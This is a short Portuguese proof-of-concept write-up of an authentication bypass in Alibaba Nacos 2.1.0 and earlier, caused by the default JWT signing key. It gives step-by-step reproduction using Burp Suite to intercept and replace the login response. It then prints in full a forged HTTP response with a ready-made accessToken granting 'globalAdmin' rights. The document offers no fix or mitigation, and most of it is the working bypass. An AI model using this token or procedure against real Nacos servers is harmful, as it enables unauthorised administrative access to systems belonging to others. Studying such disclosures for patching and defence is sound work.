Alibab-Nacos-Unauthorized-Login

Impacto da Vulnerabilidade

Um problema foi descoberto no Nacos que afeta o Nacos <= 2.1.0. Usuários do Nacos utilizam a chave JWT padrão, ocasionando uma vulnerabilidade de acesso não autorizado. Por meio dessa vulnerabilidade, atacantes podem contornar a autenticação de nome de usuário e senha e fazer login diretamente no usuário Nacos.

Produto Vulnerável

Nacos versão <= 2.1.0

Reprodução da Vulnerabilidade

Passo 1：Acesse diretamente o site do Nacos, preencha qualquer nome de usuário e senha e use o Burpsuite para capturar o pacote.

Passo 2：Intercepte o pacote de resposta.

Passo 3: Modifique o pacote de dados da seguinte forma

HTTP/1.1 200
Date: Thu, 10 Nov 2022 01:27:16 GMT
Content-Type: application/json
Content-Length: 13
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Server: elb

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA","tokenTtl":18000,"globalAdmin":true}